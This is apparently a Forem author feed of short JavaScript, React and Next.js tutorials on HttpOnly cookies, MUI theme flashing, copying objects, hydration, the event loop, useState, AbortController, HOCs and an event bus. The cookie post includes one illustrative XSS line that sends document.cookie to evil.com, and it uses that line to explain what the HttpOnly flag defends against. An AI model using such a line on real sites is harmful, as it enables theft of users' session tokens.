Forem: Mohsen Fallahnejad

Understanding HttpOnly Cookies in Depth

Mohsen Fallahnejad — Tue, 14 Oct 2025 08:04:35 +0000

🍪 Understanding HttpOnly Cookies

HttpOnly cookies are a type of browser cookie that cannot be accessed via JavaScript.

They are designed to protect sensitive data — especially authentication tokens — from attacks like Cross-Site Scripting (XSS).

🔍 What Does `HttpOnly` Mean?

When you set the HttpOnly flag on a cookie, the browser stores it but never exposes it to document.cookie or JavaScript APIs.

That means:

console.log(document.cookie);
// ❌ You will NOT see HttpOnly cookies here.

The cookie still goes to the server automatically with every HTTP request to the same origin.

⚙️ How Browsers Enforce It

Browsers handle HttpOnly cookies internally:

The server sets a cookie with Set-Cookie header.
The browser stores it securely.
On every request to the same domain/path, the browser attaches the cookie in the Cookie header.
JavaScript cannot read or modify it.

✅ This prevents attackers from stealing session tokens via injected scripts.

🚧 Why It's Important

Without HttpOnly, an attacker who injects JavaScript (via XSS) could do:

fetch('https://evil.com?cookie=' + document.cookie);

This would expose your session token.

With HttpOnly, that attack fails.

💡 Secure + HttpOnly = Best Practice

You should always combine:

HttpOnly → hides cookie from JavaScript
Secure → only send over HTTPS
SameSite → restricts cross-site sending (helps prevent CSRF)

Example header:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

🧱 Example: Express Backend

import express from "express";
import cookieParser from "cookie-parser";

const app = express();
app.use(cookieParser());

app.post("/login", (req, res) => {
  const token = "user_jwt_token_here";
  res.cookie("token", token, {
    httpOnly: true,
    secure: true,
    sameSite: "strict",
  });
  res.send("Logged in!");
});

app.get("/profile", (req, res) => {
  // You can access it on server:
  const token = req.cookies.token;
  res.json({ message: "Token exists?", token: !!token });
});

app.listen(3001, () => console.log("✅ Express running on port 3001"));

⚛️ Example: Next.js API Route

// pages/api/login.ts
import type { NextApiRequest, NextApiResponse } from "next";
import { serialize } from "cookie";

export default function handler(req: NextApiRequest, res: NextApiResponse) {
  const token = "jwt_token_here";

  res.setHeader(
    "Set-Cookie",
    serialize("token", token, {
      httpOnly: true,
      secure: process.env.NODE_ENV === "production",
      sameSite: "strict",
      maxAge: 60 * 60 * 24 * 7, // 7 days
      path: "/",
    })
  );

  res.status(200).json({ success: true });
}

Now your cookie is automatically sent with every request — but never visible to document.cookie.

🧠 Behind the Scenes

When you refresh the page:

Browser checks stored cookies for matching domain/path.
Attaches them automatically in the Cookie header.
Server reads them and can validate session or JWT.

No need for localStorage or client-side access.

This reduces attack surface dramatically — because even if the client is compromised, tokens aren’t exposed to script access.

⚔️ Common Mistakes

❌ Setting cookies in client-side JS → breaks security

✅ Always set cookies via Set-Cookie header from server.

❌ Storing JWTs in localStorage

✅ Store them in HttpOnly cookies instead.

🔐 Summary

Feature	Description	Prevents
HttpOnly	Hides cookie from JavaScript	XSS
Secure	Sends only over HTTPS	MITM
SameSite	Restricts cross-site	CSRF
Server-set cookie	Controlled by backend	Tampering

🚀 Key Takeaway

Store your auth tokens in HttpOnly cookies, not in localStorage.

They protect against XSS by design — one of the simplest and strongest web security patterns.

Originally published on: Bitlyst

Why MUI Avoids Theme Flash on First Load (Dark/Light Mode)

Mohsen Fallahnejad — Mon, 29 Sep 2025 07:00:06 +0000

You may have noticed: with MUI, when you refresh the page in dark mode, it starts already dark.

But with other UI frameworks (like Ant Design), you often see a flash of light mode before switching to dark.

Here’s why MUI works smoothly and what happens behind the scenes.

🔑 The Key Ideas

Pre-hydration color scheme init

MUI provides a tiny inline script (getInitColorSchemeScript) that runs in <head> before React hydrates.

It reads the saved mode (from localStorage) or system preference and sets data-mui-color-scheme="dark|light" on the <html> tag before first paint.
CSS variables for both schemes

With CssVarsProvider, MUI generates CSS variables for both light and dark schemes.

The browser picks the correct set immediately based on the data-mui-color-scheme attribute.
SSR compatibility

On the server, both schemes’ CSS variables are sent in the HTML. The client’s init script selects the right scheme instantly, so the first paint already matches your preference.

⚙️ What Happens in the Background

1. CSS variables instead of static CSS

:root {
  --mui-palette-background-default: #fff;   /* light */
  --mui-palette-text-primary: #000;
}
[data-mui-color-scheme='dark'] {
  --mui-palette-background-default: #000;   /* dark */
  --mui-palette-text-primary: #fff;
}

Both light and dark definitions are present. The data-mui-color-scheme attribute decides which set is active.

2. The Init Script (runs before hydration)

<script>
  (function() {
    try {
      var mode = localStorage.getItem('mui-mode') || 'system';
      var systemDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
      var finalMode = mode === 'system' ? (systemDark ? 'dark' : 'light') : mode;
      document.documentElement.setAttribute('data-mui-color-scheme', finalMode);
    } catch (e) {}
  })();
</script>

This ensures the correct scheme is applied before the browser paints anything.

3. SSR + hydration safety

The DOM structure (HTML tags and content) is identical on server and client.
Only CSS variables change, so React hydration doesn’t complain.
No mismatch, no flicker.

4. Why Ant Design flashes

Ant Design usually toggles a dark class after hydration using JS:

useEffect(() => {
  document.body.classList.add('dark');
}, []);

Server HTML is always “light”.
First paint = light.
After hydration, dark class is applied → second paint.
Visible flash of light → dark.

🧠 Mental Model

MUI: Both outfits (light & dark) are in your closet. Before you leave the house, a helper puts the correct one on you. Nobody sees the wrong outfit.
Ant Design (typical): You leave the house in light clothes, then halfway down the street someone swaps you into dark. People see the flicker.

✅ How to Set Up in Next.js (App Router)

// app/layout.tsx
import { CssVarsProvider, getInitColorSchemeScript } from '@mui/material/styles';
import CssBaseline from '@mui/material/CssBaseline';

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <head>
        {/* Runs before React; sets data-mui-color-scheme to avoid flicker */}
        {getInitColorSchemeScript()} 
      </head>
      <body>
        <CssVarsProvider defaultMode="system" modeStorageKey="mui-mode">
          <CssBaseline />
          {children}
        </CssVarsProvider>
      </body>
    </html>
  );
}

getInitColorSchemeScript() → ensures correct theme before first paint.
CssVarsProvider → enables light/dark CSS variable system.

✅ Summary

MUI avoids theme flashing by using CSS variables + an early init script.
The correct theme is applied before the first paint, so users never see the wrong one.
Other UI frameworks often switch after hydration, which causes the flash.

✨ Result: Dark mode feels native and instant with MUI.

Originally published on: Bitlyst

Deep Copy vs Shallow Copy in JavaScript

Mohsen Fallahnejad — Mon, 29 Sep 2025 06:20:28 +0000

📝 Definitions

Shallow copy A new object is created, but its nested objects/arrays are still referenced (not copied).
Deep copy A new object is created, and all nested objects/arrays are recursively copied, so they are fully independent.

📦 Shallow Copy Examples

const obj = { user: "Ali", settings: { theme: "dark" } };

// Shallow copies
const copy1 = { ...obj };
const copy2 = Object.assign({}, obj);

copy1.user = "Sara";
console.log(obj.user); // "Ali" (independent primitive)

copy1.settings.theme = "light";
console.log(obj.settings.theme); // "light" (nested object was shared!)

👉 Only the top-level properties are copied. Nested references still point to the same objects.

📦 Deep Copy Examples

Using `structuredClone` (modern JS)

const obj = { user: "Ali", settings: { theme: "dark" } };
const deepCopy = structuredClone(obj);

deepCopy.settings.theme = "light";
console.log(obj.settings.theme); // "dark" ✅ independent

Using JSON trick (not recommended for all cases)

const deepCopy = JSON.parse(JSON.stringify(obj));

⚠️ This fails with Date, Map, Set, undefined, functions, circular references.

Using libraries

Lodash: _.cloneDeep(obj)
Immer: handles immutable updates with deep cloning.

🛑 Pitfalls of Shallow Copy

Mutating nested structures leaks changes:

  const state = { user: { name: "Ali" } };
  const next = { ...state };
  next.user.name = "Sara";

  console.log(state.user.name); // "Sara" ❌ unexpected mutation

In React/Redux, this can cause stale renders because React thinks the state is unchanged (reference is same).

✅ When to Use

Shallow copy is fine when:
- Object has only primitives.
- You don’t need to mutate nested structures.
- Performance is critical and you control object shape.
Deep copy is needed when:
- You must ensure no shared references.
- Working with nested state in frameworks (e.g., Redux).
- Serializing complex objects (careful with special types).

🔍 Performance Considerations

Deep copy is slower and heavier because it traverses entire object trees.
Shallow copy is cheap, just reassigns top-level references.

✅ Summary

Shallow copy: Copies top-level properties only; nested objects are shared.
Deep copy: Recursively copies everything; no shared references.
Use shallow copy for flat/simple objects, and deep copy when you need complete independence.

✨ Rule of thumb: If you change a nested value and don’t want it to affect the original → you need a deep copy.

Originally published on: Bitlyst

Why setState Doesn’t Cause Hydration Errors

Mohsen Fallahnejad — Mon, 29 Sep 2025 06:18:59 +0000

🚀 The Core Idea

Hydration errors happen only if the first client render output doesn’t match the server-rendered HTML.

Most setState calls you write run after hydration is finished, so React treats them as normal updates, not as mismatches.

🕒 Timeline of hydration

Server render
- HTML is generated on the server and sent to the browser.
Client boot
- React runs the first client render and hydrates the existing DOM.
- It compares this client render output with the server HTML.
- If they differ, React shows a hydration mismatch warning.
After hydration
- useEffect callbacks run.
- User events (clicks, inputs) happen.
- Calling setState here triggers a normal re-render; React patches the DOM without comparing to the server again.

✅ So if your initial client render matches the server, later setState calls will not cause hydration errors.

❌ When you do get hydration errors

Hydration warnings occur if the first client render differs from the server HTML. Common causes include:

Non-deterministic values during render

  // BAD: server vs client will produce different numbers
  const id = Math.random();

Browser-only values in render

  // BAD: only available on client
  const width = window.innerWidth;

Different data fetching paths between server and client.

✅ Safe Patterns

1. Update inside `useEffect`

"use client";
import { useState, useEffect } from "react";

export default function Example() {
  const [theme, setTheme] = useState<string | null>(null); // null matches server
  useEffect(() => {
    setTheme(window.localStorage.getItem("theme")); // runs after hydration
  }, []);
  return <div>Theme: {theme ?? "system"}</div>;
}

2. Mounted flag for client-only UI

const [mounted, setMounted] = useState(false);
useEffect(() => setMounted(true), []);

if (!mounted) return null; // matches server's "nothing"
return <ClientOnlyUI />;

3. Disable SSR for the component

In Next.js, you can skip SSR entirely:

import dynamic from "next/dynamic";

const ClientComponent = dynamic(() => import("./ClientComponent"), { ssr: false });

4. Suppress warnings (last resort)

For known benign differences, use:

<span suppressHydrationWarning>{clientOnlyValue}</span>

🧠 Mental Model

Hydration compares only once: server HTML vs first client render.
setState after hydration = normal re-render, no mismatch.

So: make sure your first render is deterministic, and you’re safe.

Originally published on: Bitlyst

JavaScript is Single-Threaded

Mohsen Fallahnejad — Tue, 23 Sep 2025 09:24:43 +0000

🚦 What does "single-threaded" mean?

A thread is like a worker that can do tasks.
JavaScript has only one worker (one thread).
That worker can do only one thing at a time.

So if JS is running some code, it cannot start another piece of code at the same exact time on another thread.

🛑 Why does this matter?

If one task is slow (e.g. a heavy loop or waiting for a file), the single worker gets stuck.
This means your whole app (like a webpage) may freeze until the task finishes.

🍕 Analogy

Imagine a pizza chef in a small restaurant:

There’s only one chef (single thread).
If the chef is busy making a pizza, he cannot simultaneously make pasta.
To handle waiting times (like pizza baking in the oven), the chef can set a timer and move to the next order.
That timer is like callbacks, promises, or async/await.

⚡ How does JS still feel fast?

JavaScript uses the event loop + asynchronous operations:

Slow tasks (network calls, timers, etc.) are handed off to the browser / Node.js background helpers.
When they’re done, they say “Hey, I’m ready” and the single thread picks it up later.

This makes JS feel like it’s multitasking, even though only one thing runs at a time.

💻 Code Example

console.log("Start");

setTimeout(() => {
  console.log("Async task done");
}, 0);

console.log("End");

Output

Start
End
Async task done

👉 Even though the timeout is 0ms, the callback is delayed until the main thread finishes current tasks (Start and End).

This proves that JavaScript has only one main thread.

✅ Summary

JavaScript is single-threaded = one main worker runs tasks one after another.

With the event loop + async, it can still handle multiple tasks smoothly without blocking.

Originally published on: Bitlyst

How useState Works Under the Hood (and Why It Needs use client)

Mohsen Fallahnejad — Tue, 23 Sep 2025 09:23:07 +0000

1) Where state actually lives

React builds a tree of Fibers (one per component instance).
Each function component has a hook list stored on its fiber (a tiny linked list/array-like structure).
Every call to useState(...) corresponds to one hook cell in that list. Order must be stable between renders.

2) Mount vs. update

Mount (first render):
- React creates a hook cell with:
- memoizedState: current value (init arg or result of lazy init function).
- queue: a queue of pending updates (linked list).
- Returns [state, dispatch].
Update (re-render):
- React walks the hooks in the same order and for each useState:
- Drains the queue of updates, applying them in order to produce the new memoizedState.
- Returns a stable dispatch function.

Order matters: React identifies each hook by call position in the component. Changing the number/order of hooks between renders breaks this mapping.

3) What `setState` (dispatch) really does

Calling setState(payload) does NOT mutate immediately.
It creates an update object and pushes it to the hook’s queue.
React schedules work on the affected fiber (with an appropriate priority).
During the next render, React reduces all queued updates to compute the next state.

Types of payloads

Value: setCount(3) → replace with 3.
Updater function: setCount(c => c + 1) → React calls it with the previous state.
Lazy init (only on mount): useState(() => heavyInit()) runs heavyInit() once.

4) “Async” feel and batching

In React 18+, updates in the same tick are batched (browser events, promises, timeouts, etc.).
You might not see new state until the render that processes the queue finishes.
flushSync can force-sync (use sparingly).

5) Concurrency & priorities (React 18)

React can interrupt a render (e.g., low-priority updates) and resume with fresher data.
startTransition marks updates as transition (lower priority) so typing stays snappy.
State queues make this possible because React can re-run the reducer pipeline deterministically.

6) Closures & gotchas

Handlers capture variables from the render in which they were created. If you use setX(x + 1) inside async code, you may use a stale x. Prefer the functional form: setX(prev => prev + 1).
Never call hooks in loops/conditions. Keep call order stable.

Why `useState` requires `"use client"` in Next.js App Router

Server Components (RSC) render on the server. They:

Must be serializable output only (JSX/JSON-like payload).
Cannot hold runtime client state, attach event handlers, or access the DOM.
Don’t ship their code to the browser (no client JS).

useState, useEffect, event handlers (onClick), etc. require a client runtime (browser or React DOM on the client). Therefore:

Any file that uses useState must start with:

  "use client";

This marks the file as a Client Component so:

It’s bundled for the browser.
It can run hooks, keep state across renders, handle events.
It cannot import server-only modules (DB clients, fs, server actions directly, etc.).

Mental model

Server Component = fetch/compose data, no stateful UI hooks, zero client JS by default.
Client Component = interactive UI (state, effects, refs, event handlers).

Typical pattern (server → client boundary)

// app/posts/page.tsx  (Server Component by default)
import PostList from "./PostList";

export default async function Page() {
  const posts = await fetchPosts(); // server-side data
  return <PostList initialPosts={posts} />;
}

// app/posts/PostList.tsx
"use client";

import { useState } from "react";

export default function PostList({ initialPosts }) {
  const [filter, setFilter] = useState("");
  const visible = initialPosts.filter(p => p.title.includes(filter));
  return (
    <>
      <input value={filter} onChange={e => setFilter(e.target.value)} />
      <ul>{visible.map(p => <li key={p.id}>{p.title}</li>)}</ul>
    </>
  );
}

The server loads data cheaply.
The client component handles state & interactivity.
Only PostList (and its client-only deps) are sent to the browser.

Practical tips

Prefer functional updates when next state depends on previous:

  setCount(c => c + 1);

Use lazy init for expensive initial state:

  const [value] = useState(() => computeOnce());

Avoid deriving state you can compute from props during render; compute on the fly or memoize.
If a component only needs state for a tiny part, consider a small client child instead of marking a whole page "use client".
Remember: every useState call is per-instance. Each mounted component instance has its own hook cells & queues.

Originally published on: Bitlyst

Next.js Page Router vs App Router

Mohsen Fallahnejad — Tue, 23 Sep 2025 09:20:34 +0000

Next.js gives us two ways of building apps: the older Page Router (/pages) and the newer App Router (/app).

Here’s the difference explained simply:

The Simple Idea

Page Router (old way): You put files inside /pages. Each file = one route. It’s simple, but limited when your app grows.
App Router (new way): You put files inside /app. It uses React Server Components, layouts, and modern features. It’s more powerful, but needs a bit more learning.

Analogy 🪟

Think of it like building a house:

Page Router = separate rooms. Each room (page) has its own door. If you want a shared wall (like a layout), you must rebuild it in every room.
App Router = house with shared walls. Rooms (pages) can share layouts, data fetching, and logic without repeating work.

Key Differences 🔑

File location: /pages vs /app
Rendering: Page Router = fully client-side components; App Router = supports Server Components
Layouts: Page Router = no built-in layouts; App Router = nested layouts by default
Data fetching: Page Router = getServerSideProps / getStaticProps; App Router = async functions inside components (simpler & more flexible)
Best for:
- Page Router → quick prototypes, small apps
- App Router → modern apps, scalable projects, production-ready

Code Example

Page Router

// pages/about.tsx
export default function About() {
  return <h1>About Page</h1>;
}

App Router

// app/about/page.tsx
export default function About() {
  return <h1>About Page</h1>;
}

When to Use?

✅ New project → App Router (future of Next.js)
✅ Old project already using /pages → stay with Page Router unless you want to migrate
❌ Don’t mix them in the same route (but you can run both in one project during migration)

That’s it! 🎉

Originally published on: Bitlyst

What is 'use client' in Next.js?

Mohsen Fallahnejad — Tue, 23 Sep 2025 09:19:02 +0000

Next.js App Router defaults all components to Server Components.

The "use client" directive marks a file as a Client Component.

1) What does it do?

Placed at the top of a file: "use client";
Tells Next.js: render this component on the client (browser).
Without it → the file stays a Server Component.

// Button.tsx
"use client";

export default function Button() {
  return <button onClick={() => alert("Clicked!")}>Click me</button>
}

Without "use client", this would break: event handlers & useState only work in the browser.

2) Why is it needed?

Next.js defaults to Server Components for speed & smaller bundles.
"use client" is an escape hatch when you need client-only features.

3) When to use it?

You need "use client" if you use:

React hooks: useState, useEffect, useRef
Event handlers: onClick, onChange, …
Browser APIs: localStorage, window, document
Client-only libraries: Chart.js, React-Quill, etc.

4) How does it work internally?

Next.js scans for "use client" at build time.
That file + its imports → shipped as JS bundle to the browser.
Server Components are stripped to HTML + serialized props.

5) Mixing Server & Client Components

Server Components can import Client Components.
Client Components cannot import Server Components.

// page.tsx (Server Component)
import Button from "./Button";

export default function Page() {
  return (
    <div>
      <h1>Hello</h1>
      <Button />  // Client-side, interactive
    </div>
  );
}

6) Mental Model 🧠

Default = Server Component (fast, no client JS).
Add "use client" only where you need state, events, or browser APIs.
Sprinkle sparingly → keep most of your tree on the server.

⚡ "use client" is the switch that brings React interactivity into your Next.js App Router components.

Originally published on: Bitlyst

AbortController & AbortSignal

Mohsen Fallahnejad — Tue, 23 Sep 2025 09:14:40 +0000

AbortController is the standard way to cancel async work in modern JavaScript. It pairs with AbortSignal, which you pass to tasks so they can stop immediately.

1) TL;DR

Create a controller → pass controller.signal to your async work.
Call controller.abort(reason?) to cancel; consumers see an AbortError (or signal.reason).
Works with fetch, streams, and your own functions.

const c = new AbortController()
const resP = fetch('/api/data', { signal: c.signal })
// later...
c.abort('user navigated away')
try { await resP } catch (e) { if (e.name === 'AbortError') /* ignore */ }

2) Core API (with `reason` support)

const c = new AbortController()
const { signal } = c

signal.aborted        // boolean
signal.reason         // any (why it was aborted)

c.abort(new DOMException('Timeout', 'AbortError'))
// or: c.abort('User left the page')

Tip: If you pass a reason, propagate it in your own tasks. fetch will still reject with AbortError.

3) Fetch + Timeouts

A) Easiest: AbortSignal.timeout(ms)

// Modern browsers & Node 18+
const res = await fetch('/slow', { signal: AbortSignal.timeout(3000) })

B) Manual timer

const c = new AbortController()
const id = setTimeout(() => c.abort(new DOMException('Timeout', 'AbortError')), 3000)
try {
  const res = await fetch('/slow', { signal: c.signal })
  // use res
} catch (e) {
  if (e.name !== 'AbortError') throw e
} finally {
  clearTimeout(id)
}

C) Race utilities

// winner-takes-all -> cancel the losers
const controllers = [new AbortController(), new AbortController()]
const [a, b] = controllers.map(c => fetch('/mirror', { signal: c.signal }))
const winner = await Promise.any([a, b])
controllers.forEach(c => c.abort('lost the race'))

4) Make Your Own Functions Abortable

export function wait(ms, signal) {
  return new Promise((resolve, reject) => {
    const id = setTimeout(resolve, ms)
    const onAbort = () => { clearTimeout(id); reject(new DOMException('Aborted', 'AbortError')) }
    if (signal.aborted) return onAbort()
    signal.addEventListener('abort', onAbort, { once: true })
  })
}

Propagate reason:

const onAbort = () => reject(signal.reason ?? new DOMException('Aborted', 'AbortError'))

5) Streams & Readers (Browser + Node)

const c = new AbortController()
const res = await fetch('/stream', { signal: c.signal }) // can be aborted
const reader = res.body.getReader({ signal: c.signal })   // abort affects reads too

// later
c.abort()

Node: fetch in Node 18+ also supports abort; for streams, pipe/reader operations should react to abort and close resources.

6) React Patterns

A) Cancel on unmount (and on deps change)

useEffect(() => {
  const c = new AbortController()
  ;(async () => {
    try {
      const r = await fetch('/api/search?q=' + q, { signal: c.signal })
      setData(await r.json())
    } catch (e) {
      if (e.name !== 'AbortError') console.error(e)
    }
  })()
  return () => c.abort('component unmounted or q changed')
}, [q])

B) Latest-typed value wins (typeahead)

const ref = useRef<AbortController | null>(null)
async function onType(v: string) {
  ref.current?.abort('superseded')
  const c = new AbortController()
  ref.current = c
  try {
    const r = await fetch('/api?q=' + v, { signal: c.signal })
    setOptions(await r.json())
  } catch (e) { if (e.name !== 'AbortError') console.error(e) }
}

7) Small Utilities (copy‑paste)

// create a controller that auto-aborts after ms
export const withTimeout = (ms = 5000) => AbortSignal.timeout(ms)

// combine multiple signals -> aborted if ANY aborts
export function anySignal(...signals) {
  const c = new AbortController()
  const onAbort = (s) => c.abort(s.reason ?? new DOMException('Aborted', 'AbortError'))
  signals.forEach(s => s.addEventListener('abort', () => onAbort(s), { once: true }))
  return c.signal
}

Usage:

const c = new AbortController()
const s = anySignal(c.signal, AbortSignal.timeout(3000))
fetch('/x', { signal: s })

8) Common Pitfalls & Gotchas

Not wiring the signal → pass { signal } everywhere the task supports it.
Forgetting cleanup → clear timers and remove listeners on abort (use { once: true }).
Swallowing all errors → only ignore AbortError; surface real failures.
Global controller reuse → create fresh controllers per operation to avoid accidental cross‑cancels.
Overriding reason → if you care about why, use abort(reason) and read signal.reason in custom code.

9) Quick Cheatsheet

Need	Do this
Cancel slow fetch	`fetch(url, { signal: AbortSignal.timeout(ms) })`
Cancel on unmount	Create `AbortController` in `useEffect`, abort in cleanup
Cancel prior request (search)	Keep last controller in `ref`, abort before new fetch
Cancel a batch	Share one controller across requests and call `abort()`
Keep “why” it was cancelled	`controller.abort('reason'); signal.reason`

Happy cancelling ✨ Use AbortController to keep your apps snappy, correct, and memory‑leak free.

Originally published on: Bitlyst

React Higher-Order Components (HOC)

Mohsen Fallahnejad — Sun, 21 Sep 2025 10:23:05 +0000

A Higher-Order Component (HOC) is a function that takes a component and returns a new component with extra features.

1. Analogy ☕

Think of a coffee cup (your component).

A HOC is like a sleeve you put around the cup: it doesn’t change the coffee, but it adds insulation (extra functionality).

2. Why Use HOCs?

Reusability → extract and share common logic.
Separation of concerns → UI components stay simple, HOCs handle cross-cutting logic.
Composition → wrap components with multiple behaviors.

3. Example

// HOC that adds a loading spinner
function withLoading<P>(Component: React.ComponentType<P>) {
  return function WrappedComponent(props: P & { loading: boolean }) {
    if (props.loading) {
      return <div>Loading...</div>
    }
    return <Component {...props} />
  }
}

// Usage
function UserProfile({ name }: { name: string }) {
  return <h2>{name}</h2>
}

const UserProfileWithLoading = withLoading(UserProfile)

// Render
<UserProfileWithLoading loading={true} name="Alice" />

👉 If loading is true → show spinner. Otherwise, show UserProfile.

4. Common Use Cases

Auth wrapper → redirect if not logged in.
Analytics wrapper → log component views.
Data fetching → provide fetched data as props.
UI wrappers → error boundaries, animations, styles.

5. Downsides

Can cause wrapper hell (too many nested HOCs).
Makes React DevTools component tree messy.
Harder to type with TypeScript.
Modern React often prefers Hooks instead.

6. HOCs vs Hooks

Feature	HOCs ✅	Hooks ✅
Share logic across comps	✔️ Yes	✔️ Yes
Simple composition	❌ Can get messy	✔️ Very clean
Works in class components	✔️ Yes	❌ No (hooks = function comps only)
DevTools readability	❌ No	✔️ Clear
Modern React preference	⚠️ Legacy pattern	✔️ Recommended

7. Quick Mental Model 🧠

HOC = function wrapper → adds behavior → returns new component.
Use it for auth, logging, theming, analytics wrappers.
Prefer hooks for most new code.

⚡ That’s it! HOCs are still useful in some cases, but hooks are the modern go-to for sharing React logic.

Originally published on: Bitlyst

JavaScript Event Bus 🚍 (JS + TypeScript)

Mohsen Fallahnejad — Sun, 21 Sep 2025 10:21:52 +0000

Event Bus = simple publish/subscribe hub so modules can talk without direct references.

1) Why use an Event Bus?

Decoupling: publishers don't import subscribers.
Reusable communication: one signal → many independent reactions.
Great for: auth signals, toasts, analytics, cross-feature coordination.

Use a bus sparingly. For large apps, prefer a structured state manager (Redux, Zustand, Vuex) for core state.

2) Minimal, Fast JavaScript Implementation

// eventBus.js
export class EventBus {
  constructor() { this.map = Object.create(null) }

  on(event, cb) {
    (this.map[event] ||= new Set()).add(cb)
    return () => this.off(event, cb)       // unsubscribe helper
  }

  once(event, cb) {
    const off = this.on(event, (p) => { off(); cb(p) })
    return off
  }

  off(event, cb) {
    const set = this.map[event]; if (!set) return
    set.delete(cb); if (set.size === 0) delete this.map[event]
  }

  emit(event, payload) {
    const call = (set) => set && set.forEach(fn => fn(payload))
    // direct
    call(this.map[event])
    // simple wildcard: "user:*" matches "user:login"
    const star = event.split(':')[0] + ':*'
    call(this.map[star])
  }
}

// Usage
export const bus = new EventBus()

const off = bus.on('user:login', (u) => console.log('hello', u.name))
bus.once('user:login', () => console.log('toast shown once'))

bus.emit('user:login', { name: 'Alice' })
// later
off()

Why this version?

Set avoids duplicates, once auto-cleans, wildcard channel "domain:*" is lightweight.

3) Strongly-Typed TypeScript Bus (safe contracts)

// typedBus.ts
type Events = {
  'user:login': { name: string }
  'user:logout': void
  'chat:message': { text: string; from: string }
  'user:*': unknown               // wildcard channel (optional)
}

export class TypedBus<E extends Record<string, any>> {
  private map: { [K in keyof E]?: Set<(p: E[K]) => void> } = {};

  on<K extends keyof E>(event: K, cb: (payload: E[K]) => void) {
    (this.map[event] ||= new Set()).add(cb)
    return () => this.off(event, cb)
  }

  once<K extends keyof E>(event: K, cb: (payload: E[K]) => void) {
    const off = this.on(event, (p) => { off(); cb(p) })
    return off
  }

  off<K extends keyof E>(event: K, cb: (payload: E[K]) => void) {
    const set = this.map[event]; if (!set) return
    set.delete(cb); if (set.size === 0) delete this.map[event]
  }

  emit<K extends keyof E>(event: K, payload: E[K]) {
    const call = (set?: Set<(p: any) => void>) => set?.forEach(fn => fn(payload))
    call(this.map[event])
    // naive wildcard match: prefix + ':*'
    const star = (String(event).split(':')[0] + ':*') as keyof E
    call(this.map[star])
  }
}

export const bus = new TypedBus<Events>()

Contract benefits: Autocomplete for event names & payload shapes; compile-time safety.

4) React Usage Patterns

A. Global bus instance (simple apps)

// bus.ts
export const bus = new EventBus()

// Navbar.tsx
useEffect(() => bus.on('user:login', () => setOpen(true)), [])

// LoginForm.tsx
const submit = () => bus.emit('user:login', { name: 'Alice' })

B. Context + scoped bus (feature isolation / testability)

const BusContext = createContext<{
  bus: EventBus
} | null>(null)

export function BusProvider({ children }) {
  const [bus] = useState(() => new EventBus())
  return <BusContext.Provider value={{ bus }}>{children}</BusContext.Provider>
}

export function useBus() {
  const ctx = useContext(BusContext); if (!ctx) throw new Error('No BusProvider')
  return ctx.bus
}

C. Clean up subscriptions

useEffect(() => {
  const off = bus.on('toast:show', setToast)
  return off                     // auto-unsubscribe on unmount
}, [])

5) Node.js: you already have one

import { EventEmitter } from 'node:events'
const bus = new EventEmitter()

bus.on('ping', () => console.log('pong'))
bus.emit('ping')

Use Node's EventEmitter for server code; for browsers and shared libs, a tiny custom bus is fine.

6) Tips & Pitfalls

Name events with namespaces: user:login, cart:itemAdded.
Provide a registry doc (events & payloads) to avoid mismatches.
Avoid global everything: consider scoped buses per feature.
Memory leaks: always unsubscribe on unmount; once helps.
Prefer state managers for shared state; use the bus for signals.

7) Quick Cheatsheet

Need	Suggestion
One-off global signal (toast/auth)	Event bus
Complex shared state	Redux/Zustand/Context
Typed payloads & autocomplete	TypeScript `TypedBus`
Only one reaction allowed	`once`
Fan-out to many listeners	plain `emit` or wildcard

Originally published on: Bitlyst

JavaScript's Event Loop

Mohsen Fallahnejad — Sat, 20 Sep 2025 16:41:17 +0000

The event loop lets JavaScript handle async tasks on a single thread.

Example Code

console.log("Start");

setTimeout(() => {
  console.log("Timeout");
}, 0);

Promise.resolve().then(() => {
  console.log("Promise");
});

console.log("End");

Output: Start → End → Promise → Timeout

Why this order?

Start and End are synchronous → run immediately on the call stack.
Promise.then is a microtask → runs before macrotasks.
setTimeout callback is a macrotask → runs after microtasks drain.

Originally published on: Bitlyst

Forem: Mohsen Fallahnejad

Understanding HttpOnly Cookies in Depth

🍪 Understanding HttpOnly Cookies

🔍 What Does HttpOnly Mean?

⚙️ How Browsers Enforce It

🚧 Why It's Important

💡 Secure + HttpOnly = Best Practice

🧱 Example: Express Backend

⚛️ Example: Next.js API Route

🧠 Behind the Scenes

⚔️ Common Mistakes

🔐 Summary

🚀 Key Takeaway

Why MUI Avoids Theme Flash on First Load (Dark/Light Mode)

🔑 The Key Ideas

⚙️ What Happens in the Background

1. CSS variables instead of static CSS

2. The Init Script (runs before hydration)

3. SSR + hydration safety

4. Why Ant Design flashes

🧠 Mental Model

✅ How to Set Up in Next.js (App Router)

✅ Summary

Deep Copy vs Shallow Copy in JavaScript

📝 Definitions

📦 Shallow Copy Examples

📦 Deep Copy Examples

Using structuredClone (modern JS)

Using JSON trick (not recommended for all cases)

Using libraries

🛑 Pitfalls of Shallow Copy

✅ When to Use

🔍 Performance Considerations

✅ Summary

Why setState Doesn’t Cause Hydration Errors

🚀 The Core Idea

🕒 Timeline of hydration

❌ When you do get hydration errors

✅ Safe Patterns

1. Update inside useEffect

2. Mounted flag for client-only UI

3. Disable SSR for the component

4. Suppress warnings (last resort)

🧠 Mental Model

JavaScript is Single-Threaded

🚦 What does "single-threaded" mean?

🛑 Why does this matter?

🍕 Analogy

⚡ How does JS still feel fast?

💻 Code Example

Output

✅ Summary

How useState Works Under the Hood (and Why It Needs use client)

1) Where state actually lives

2) Mount vs. update

3) What setState (dispatch) really does

Types of payloads

4) “Async” feel and batching

5) Concurrency & priorities (React 18)

6) Closures & gotchas

Why useState requires "use client" in Next.js App Router

Mental model

Typical pattern (server → client boundary)

Practical tips

Next.js Page Router vs App Router

The Simple Idea

Analogy 🪟

Key Differences 🔑

Code Example

When to Use?

What is 'use client' in Next.js?

1) What does it do?

2) Why is it needed?

3) When to use it?

4) How does it work internally?

5) Mixing Server & Client Components

6) Mental Model 🧠

AbortController & AbortSignal

1) TL;DR

2) Core API (with reason support)

🔍 What Does `HttpOnly` Mean?

Using `structuredClone` (modern JS)

1. Update inside `useEffect`

3) What `setState` (dispatch) really does

Why `useState` requires `"use client"` in Next.js App Router

2) Core API (with `reason` support)